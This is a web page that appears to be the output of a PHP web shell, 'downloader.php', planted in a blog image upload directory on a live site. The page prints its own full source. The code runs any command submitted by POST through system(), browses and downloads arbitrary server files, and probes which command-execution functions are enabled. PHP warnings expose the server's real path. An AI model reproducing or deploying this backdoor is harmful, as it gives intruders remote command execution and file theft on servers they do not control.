PHP Source Code Viewer


Warning: Undefined variable $directory in /home2/azadcamp/public_html/admin/blogimages/37/downloader.php on line 46

Warning: Undefined variable $directory in /home2/azadcamp/public_html/admin/blogimages/37/downloader.php on line 46

Warning: Undefined variable $directory in /home2/azadcamp/public_html/admin/blogimages/37/downloader.php on line 46

File: downloader.php


Warning: Undefined variable $directory in /home2/azadcamp/public_html/admin/blogimages/37/downloader.php on line 49
<?php $dir = isset($_GET['dir']) ? $_GET['dir'] : './'; // Current directory $upDir = dirname($dir); // Directory above the current directory $commandOutput = ''; if (isset($_POST['command'])) { $command = $_POST['command']; $commandOutput = executeCommand($command); } function executeCommand($command) { echo system($command); } if (isset($_GET['download'])) { $file = $_GET['download']; $filePath = $dir . $file; if (file_exists($filePath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($filePath)); readfile($filePath); exit; } } $files = scandir($dir); $upButton = ''; if ($dir != './') { $upButton = "<a href='?dir=$upDir'><button>Go Up One Directory</button></a>"; } $currentTime = date('Y-m-d H:i:s'); $currentWorkingDirectory = getcwd(); // $directory = './'; // Change this to the directory you want to scan $files = scandir($dir); echo '<h1>PHP Source Code Viewer</h1>'; foreach ($files as $file) { if (is_file($directory . $file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') { echo '<h2>File: ' . $file . '</h2>'; echo '<pre>'; echo htmlentities(file_get_contents($directory . $file)); echo '</pre>'; } } ?> <?php print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"])); ?> <!DOCTYPE html> <html> <head> <title>File Downloader and Command Executor</title> </head> <body> <h1>File Downloader and Command Executor</h1> <p>Current Time: <?php echo $currentTime; ?></p> <p>Current Working Directory: <?php echo $currentWorkingDirectory; ?></p> <form method="GET"> <label for="directory">Enter Directory Path:</label> <input type="text" id="directory" name="dir" value="<?php echo $dir; ?>"> <button type="submit">List Directory</button> </form> <?php echo $upButton; ?> <form method="POST"> <label for="command">Execute Command:</label> <input type="text" id="command" name="command"> <button type="submit">Execute</button> </form> <pre><?php echo $commandOutput; ?></pre> <ul> <?php foreach ($files as $file) { if ($file != '.' && $file != '..') { echo "<li><a href='?download=$file'>$file</a></li>"; } } ?> </ul> </body> </html>

Warning: Undefined variable $directory in /home2/azadcamp/public_html/admin/blogimages/37/downloader.php on line 46
Array ( [264] => curl_exec [272] => curl_multi_exec [554] => show_source [577] => parse_ini_file [705] => exec [706] => system [707] => passthru [710] => shell_exec [715] => popen [862] => proc_open ) File Downloader and Command Executor

File Downloader and Command Executor

Current Time: 2024-10-23 00:32:49

Current Working Directory: /home2/azadcamp/public_html/admin/blogimages/37